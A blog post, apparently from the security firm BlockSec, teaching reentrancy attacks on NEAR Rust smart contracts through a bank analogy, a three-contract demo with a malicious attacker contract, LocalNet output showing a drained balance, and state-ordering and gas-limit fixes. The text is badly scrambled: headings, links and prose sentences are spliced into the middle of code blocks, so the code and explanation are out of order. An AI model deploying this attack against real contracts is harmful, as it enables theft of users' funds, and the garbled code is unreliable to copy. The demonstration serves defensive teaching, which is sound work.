Rust智能合約養成日記(5)
BlockSec
2022-03-29 10:33
本文约7055字,阅读全文需要约28分钟
Rust合約安全之重入攻擊。

相關文章:

Rust智能合約養成日記(1)合約狀態數據定義與方法實現https://github.com/blocksecteam/near_demo

Rust智能合約養成日記(2)編寫Rust智能合約單元測試

圖片

Rust智能合約養成日記(2)編寫Rust智能合約單元測試

Rust智能合約養成日記(3)Rust智能合約部署,函數調用及Explorer的使用

Rust智能合約養成日記(3)Rust智能合約部署,函數調用及Explorer的使用

Rust智能合約養成日記(4)Rust 智能合約整數溢出

Rust智能合約養成日記(1)合約狀態數據定義與方法實現

二級標題

Rust智能合約養成日記(2)編寫Rust智能合約單元測試

圖片

  • Rust智能合約養成日記(2)編寫Rust智能合約單元測試

  • Rust智能合約養成日記(3)Rust智能合約部署,函數調用及Explorer的使用

Rust智能合約養成日記(4)Rust 智能合約整數溢出

二級標題

Rust智能合約養成日記(1)合約狀態數據定義與方法實現

  • 二級標題

    Rust智能合約養成日記(2)編寫Rust智能合約單元測試

  • 圖片

    Rust智能合約養成日記(2)編寫Rust智能合約單元測試

  • #[near_bindgen]
    #[derive(BorshDeserialize, BorshSerialize)]
    pub struct VictimContract {
       attacker_balance: u128,
       other_balance: u128,
    }
    impl Default for VictimContract {
       fn default() -> Self {
           Self {
               attacker_balance: 100,
               other_balance:100
          }
      }
    }

Rust智能合約養成日記(3)Rust智能合約部署,函數調用及Explorer的使用

Rust智能合約養成日記(4)Rust 智能合約整數溢出

#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct FungibleToken {
   attacker_balance: u128,
   victim_balance: u128
}
impl Default for FungibleToken {
   fn default() -> Self {
       Self {
           attacker_balance: 0,
           victim_balance: 200
      }
  }

二級標題

  • 二級標題

這一期中我們將向大家展示Rust合約中重入攻擊,並提供給開發者相應的建議。本文中的相關代碼,已上傳至BlockSec的Github上,讀者可以自行下載:

impl MaliciousContract {    
pub fn malicious_call(&mut self, amount:u128){
       ext_victim::withdraw(
           amount.into(), 
          &VICTIM, 
           0, 
           env::prepaid_gas() - GAS_FOR_SINGLE_CALL
          );
  }
...
}

  • 二級標題

  • impl VictimContract {
       pub fn withdraw(&mut self,amount: u128) -> Promise{
           assert!(self.attacker_balance>= amount);
    1. 重入攻擊原理
           ext_ft_token::ft_transfer_call(
               amount.into(), 
              &FT_TOKEN, 
               0, 
               env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
              )
              .then(ext_self::ft_resolve_transfer(
                   amount.into(),
                  &env::current_account_id(),
                   0,
                   GAS_FOR_SINGLE_CALL,
              ))
      }
    ...
    }  
  • 圖片

我們用現實生活中的簡單例子來理解重入攻擊:即假設某用戶在銀行中存有100元現金,當用戶想要從銀行中取錢時,他將首先告訴櫃員-A:“我想要取60元”。櫃員-A此時將查詢用戶的餘額為100元,由於該餘額大於用戶想要取出的數額,所以櫃員-A首先將60元現金交給了該位用戶。但是當櫃員-A還沒有來得及將用戶的餘額更新為40元的時,用戶跑去隔壁告訴另一位櫃員-B:“我想要取60元”,並隱瞞了剛才已經向櫃員-A取錢的事實。由於用戶的餘額還沒有被櫃員-A更新,櫃員-B檢查用戶的餘額仍舊為100元,因此櫃員-B將毫不猶豫地繼續將60元交給用戶。最終用戶實際已經獲得了120元現金,大於之前存在銀行中的100元現金。

  • 為什麼會發生這樣的事情呢?究其原因還是因為櫃員-A沒有事先將用戶的60元從該用戶的賬戶中扣除。若櫃員-A能事先扣除金額。用戶再詢問櫃員-B取錢時,櫃員-B就會發現用戶的餘額已更新,無法取出比餘額(40元)更多的現金了。

  • #[near_bindgen]
    impl FungibleToken {
       pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue{
    下文第2小節將首先介紹相關的背景知識,第3小節將在NEAR LocalNet中演示說明一個具體的重入攻擊例子,以體現代碼重入對於部署在NEAR鏈上的智能合約的危害性。本文最後將具體介紹針對重入攻擊的防護技術,幫助大家更好的編寫Rust智能合約。
           self.attacker_balance += amount;
           self.victim_balance   -= amount;
    二級標題
           ext_fungible_token_receiver::ft_on_transfer(
               amount.into(), 
              &ATTACKER,
               0, 
               env::prepaid_gas() - GAS_FOR_SINGLE_CALL
              ).into()
      }
    ...
    }
  • 二級標題

  • #[near_bindgen]
    impl MaliciousContract {
       pub fn ft_on_transfer(&mut self, amount: u128){
    2. 背景知識:NEP141的轉賬操作
           if self.reentered == false{
               ext_victim::withdraw(
                   amount.into(), 
                  &VICTIM, 
                   0, 
                   env::prepaid_gas() - GAS_FOR_SINGLE_CALL
                  );
          }
           self.reentered = true;
      }
    ...
    }
  • NEP141為NEAR公鏈上的Fungible Token (以下均用Token簡稱)標準。大部分NEAR上的Token都遵循NEP141標準。

  • 當某一用戶想要從某一個Pool中,如去中心化交易所(DEX), 充值(deposite)或者提現(withdraw)一定數額的Token時,用戶便可以調用相應的合約接口完成具體的操作。

  • DEX項目合約在執行所對應的接口函數時,將調用Token合約中的ft_transfer/ft_transfer_call函數,實現正式的轉賬操作。這兩個函數的區別如下:

  • 當調用Token合約中的ft_transfer函數時,轉賬的接收者(receiver_id)為EOA賬戶。

當調用Token合約中的ft_transfer_call函數時,轉賬的接收者(receiver_id)為合約賬戶。

$ node Triple_Contracts_Reentrancy.js 
Finish init NEAR
Finish deploy contracts and create test accounts
Victim::attacker_balance:3.402823669209385e+38
FT_Token::attacker_balance:120
FT_Token::victim_balance:80

二級標題

3. 代碼重入的具體實例

假設存在如下3個智能合約:

合約A: Attacker合約;

#[near_bindgen]
impl VictimContract {
   pub fn withdraw(&mut self,amount: u128) -> Promise{
       assert!(self.attacker_balance>= amount);
     self.attacker_balance -= amount;
攻擊者將利用該合約實施後續的攻擊交易。
       ext_ft_token::ft_transfer_call(
           amount.into(), 
          &FT_TOKEN, 
           0, 
           env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
          )
          .then(ext_self::ft_resolve_transfer(
               amount.into(),
              &env::current_account_id(),
               0,
               GAS_FOR_SINGLE_CALL,
          ))
  }   #[private]
   pub fn ft_resolve_transfer(&mut self, amount: u128) {
       match env::promise_result(0) {
           PromiseResult::NotReady => unreachable!(),
           PromiseResult::Successful(_) => {
          }
           PromiseResult::Failed => {
合約B: Victim合約。
為一個DEX合約。初始化的時候,Attacker賬戶擁有餘額100,DEX的其他用戶擁有餘額100。即此時DEX合約總共持有了200個Token。
self.attacker_balance += amount;  
          }
      };
  }

合約C: Token合約(NEP141)。

$ node Triple_Contracts_Reentrancy.js 
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X
      Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140

下面描述該代碼重入攻擊的具體流程:

二級標題

Attacker合約通過malicious_call函數,調用Victim合約(合約B)中的withdraw函數;

例如此時Attacker給withdraw函數傳入amount參數的值為60,希望從合約B中提現60;

在合約B中,withdraw函數開頭處的assert!(self.attacker_balance>= amount);`將檢查Attacker賬戶是否有足夠的餘額,此時餘額100>60,將通過斷言,執行withdraw中後續的步驟。

// Call Attacker的收幣函數

   pub fn withdraw(&mut self,amount: u128) -> Promise{
       assert!(self.attacker_balance>= amount);
合約B中的withdraw函數接著將調用合約C(FT_Token合約)中的ft_transfer_call函數;
       ext_ft_token::ft_transfer_call(
           amount.into(), 
          &FT_TOKEN, 
           0, 
-           env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
+           GAS_FOR_SINGLE_CALL * 3
          )
          .then(ext_self::ft_resolve_transfer(
               amount.into(),
              &env::current_account_id(),
               0,
               GAS_FOR_SINGLE_CALL,
          ))
  }

通過上述代碼中的ext_ft_token::ft_transfer_call實現跨合約調用。

$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX
      Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140

// Call Attacker的收幣函數

二級標題

由於合約A被Attacker所控制,並且代碼存在惡意的行為。所以該“惡意”的ft_on_transfer函數可以再次通過執行ext_victim::withdraw,調用合約B中的withdraw函數,以此達到重入的效果。

BlockSec
作者文库